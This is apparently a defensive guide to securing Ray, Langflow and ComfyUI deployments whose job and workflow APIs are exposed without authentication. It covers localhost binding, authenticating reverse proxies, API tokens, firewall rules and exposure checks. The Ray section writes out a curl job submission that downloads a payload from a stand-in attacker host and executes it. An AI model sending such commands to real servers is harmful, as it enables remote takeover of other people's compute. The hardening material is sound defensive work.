Three frameworks. Three similar patterns. All three have network-accessible APIs that accept arbitrary job submissions or execute code with no built-in authentication. Langflow’s /api/v1/run/ endpoint executes AI workflows. ComfyUI’s /api/queue/ submits image generation workflows. Ray’s Jobs API at /api/jobs/ runs arbitrary Python. All were designed for local development or trusted internal networks. All have ended up mass-exposed on the internet, with thousands to hundreds of thousands of servers accessible without credentials.
This is not a framework design flaw in the traditional security sense — it’s a gap between intended deployment context and actual deployment patterns. Developers run these locally during development, deploy them to a cloud instance for convenience, leave the port open, and move on. The result is a persistent wave of compromised AI compute.
This guide covers why these exposures happen, what the actual attack surface looks like, and how to add authentication at the deployment layer without modifying the framework code.
The Pattern: Why AI Frameworks End Up Exposed
The development-to-production path for AI tools tends to skip security controls that would be standard in web application development.
Local-first development: A developer installs Ray or Langflow on their laptop. The dashboard is on localhost:8265 or localhost:7860. Everything works. No auth needed because nothing is accessible externally.
“Quick” cloud deployment: Same developer spins up an EC2 instance or GCP VM. Copies the startup command. Doesn’t add --host binding or authentication because it worked fine locally. The instance security group has port 8265 (or 7860, or 8188) open because the developer opened it to debug from their laptop.
Forgotten exposure: The instance runs for weeks or months. The developer doesn’t think of it as a server with a publicly accessible API — they think of it as “their Ray cluster.” Shodan indexes it within 24 hours.
This pattern produces the exact exposure profile that Oligo documented with ShadowRay 2.0: 200,000+ Ray servers visible from the internet. Similar scans have found thousands of Langflow and ComfyUI instances.
Ray: The Jobs API Attack Surface
Ray exposes an HTTP API on port 8265. The jobs endpoint accepts POST requests with a JSON body:
# This works against any Ray server on the internet with no credentials
curl -X POST http://target:8265/api/jobs/ \
-H "Content-Type: application/json" \
-d '{
"entrypoint": "python -c \"import subprocess; subprocess.run(['"'"'curl'"'"', '"'"'attacker.com/payload'"'"', '"'"'-o'"'"', '"'"'/tmp/p'"'"']); subprocess.run(['"'"'chmod'"'"', '"'"'+x'"'"', '"'"'/tmp/p'"'"']); subprocess.run(['"'"'/tmp/p'"'"'])\"",
"runtime_env": {}
}'
The code runs with the permissions of the Ray worker process — which in many deployments is running as root or as a user with access to GPU resources, cloud credentials, and sensitive model files.
Langflow: Workflow Execution Without Auth
Langflow’s API exposes a run endpoint that executes LLM workflows:
# POST to /api/v1/run/{flow_id} executes the workflow
curl -X POST http://target:7860/api/v1/run/FLOW_UUID \
-H "Content-Type: application/json" \
-d '{"inputs": {"input": "malicious prompt"}, "tweaks": {}}'
CVE-2024-37393 and subsequent variants demonstrated that Langflow’s code execution components — Python code nodes, bash command nodes — execute server-side. An attacker who can reach the API can execute arbitrary code on the server.
ComfyUI: Workflow Queue as Code Execution
ComfyUI’s workflow system accepts JSON workflow graphs that can include custom nodes with arbitrary Python execution:
curl -X POST http://target:8188/api/queue \
-H "Content-Type: application/json" \
-d @malicious_workflow.json
Custom node loading, which is part of ComfyUI’s extension model, is a persistent code execution vector when the instance is accessible from the internet.
Fix 1: Bind to Localhost Only
The simplest fix for development scenarios: bind the service to 127.0.0.1 instead of 0.0.0.0. This makes it accessible only from the same machine.
# Ray
ray start --head --dashboard-host 127.0.0.1
# Langflow
langflow run --host 127.0.0.1
# ComfyUI
python main.py --listen 127.0.0.1
If you need remote access, use SSH port forwarding:
ssh -L 8265:localhost:8265 user@ray-server
This tunnels the connection through SSH (authenticated and encrypted) rather than exposing the port directly.
Fix 2: Reverse Proxy with Authentication
For production deployments where the service needs to be accessible remotely, put an authenticating reverse proxy in front of it. The framework stays unchanged — the proxy handles auth.
nginx with HTTP Basic Auth (minimum viable)
# Generate password file
htpasswd -c /etc/nginx/.htpasswd mlteam-user
# nginx config
server {
listen 443 ssl;
server_name ray.internal.example.com;
ssl_certificate /etc/ssl/certs/cert.pem;
ssl_certificate_key /etc/ssl/private/key.pem;
auth_basic "ML Cluster Access";
auth_basic_user_file /etc/nginx/.htpasswd;
location / {
proxy_pass http://127.0.0.1:8265;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection "upgrade";
proxy_set_header Host $host;
}
}
Basic auth is an acceptable minimum if TLS is enforced. Do not use it over plain HTTP — credentials transmit in base64, which is not encryption.
nginx with OAuth2 Proxy (SSO)
For team access with proper identity management, use oauth2-proxy in front of nginx:
# docker-compose.yml
services:
oauth2-proxy:
image: quay.io/oauth2-proxy/oauth2-proxy:latest
command:
- --provider=oidc
- --oidc-issuer-url=https://accounts.google.com # or your IdP
- --client-id=${OAUTH2_CLIENT_ID}
- --client-secret=${OAUTH2_CLIENT_SECRET}
- --cookie-secret=${COOKIE_SECRET}
- --email-domain=yourdomain.com
- --upstream=http://ray:8265
- --http-address=0.0.0.0:4180
ray:
image: rayproject/ray:latest
command: ray start --head --block --dashboard-host 0.0.0.0
# Note: 0.0.0.0 is OK here because this port is NOT exposed to the host
# The oauth2-proxy is the only thing that can reach it
expose:
- "8265" # expose to docker network only, NOT to host
# Do NOT use ports: - "8265:8265"
The key is expose (makes port accessible on the Docker network) versus ports (maps to the host). The Ray dashboard stays inside the Docker network; only the oauth2-proxy container talks to it.
Fix 3: API Key Middleware for Programmatic Access
For use cases where you need programmatic API access from CI/CD pipelines or other services, add token authentication at the proxy layer:
# nginx map to check Authorization header
map $http_authorization $api_auth_ok {
default 0;
"Bearer your-secure-token-here" 1;
}
server {
listen 443 ssl;
server_name ray-api.internal.example.com;
location /api/ {
if ($api_auth_ok = 0) {
return 401 '{"error": "unauthorized"}';
}
proxy_pass http://127.0.0.1:8265;
}
}
In your Ray job submission code:
import requests
RAY_API_URL = "https://ray-api.internal.example.com"
RAY_API_TOKEN = os.environ["RAY_API_TOKEN"] # from secrets manager, not hardcoded
response = requests.post(
f"{RAY_API_URL}/api/jobs/",
json={"entrypoint": "python train.py", "runtime_env": {}},
headers={"Authorization": f"Bearer {RAY_API_TOKEN}"}
)
Fix 4: Network-Level Controls
Authentication at the application layer is a defence-in-depth measure. The primary control should be network-level: the port should not be reachable from the internet at all.
AWS Security Groups:
# Only allow access from your VPN or bastion CIDR
resource "aws_security_group_rule" "ray_restricted" {
type = "ingress"
from_port = 8265
to_port = 8265
protocol = "tcp"
cidr_blocks = [var.vpn_cidr] # your VPN network range
security_group_id = aws_security_group.ray.id
}
GCP Firewall:
gcloud compute firewall-rules create deny-ray-external \
--network=default \
--direction=INGRESS \
--priority=500 \
--source-ranges=0.0.0.0/0 \
--target-tags=ray-cluster \
--rules=tcp:8265,tcp:6379,tcp:10001 \
--action=DENY
Runtime Environment Security
Even with authentication in place, control what code executes inside Ray jobs. Use a restricted RuntimeEnv with an explicit allowlist of packages:
from ray.runtime_env import RuntimeEnv
# Specify exactly what packages jobs can install
# Do NOT allow jobs to install arbitrary pip packages
safe_runtime_env = RuntimeEnv(
pip=["torch==2.3.0", "transformers==4.40.0"], # pinned versions
env_vars={}, # never pass secrets via env_vars in RuntimeEnv
)
ray.remote(runtime_env=safe_runtime_env)(my_training_function).remote()
And explicitly block outbound internet access from Ray workers unless required. If your Ray workers don’t need to download packages from PyPI at runtime, lock down egress.
Detection: Is Your Instance Already Exposed?
Check if your Ray, Langflow, or ComfyUI instance is indexed on Shodan:
# Check if your public IP appears in Shodan for Ray
curl -s "https://internetdb.shodan.io/YOUR_PUBLIC_IP" | python3 -m json.tool
# Look for ports 8265, 7860, 8188 in the "ports" array
If it appears, treat the instance as compromised and rotate all credentials it had access to before investigating further.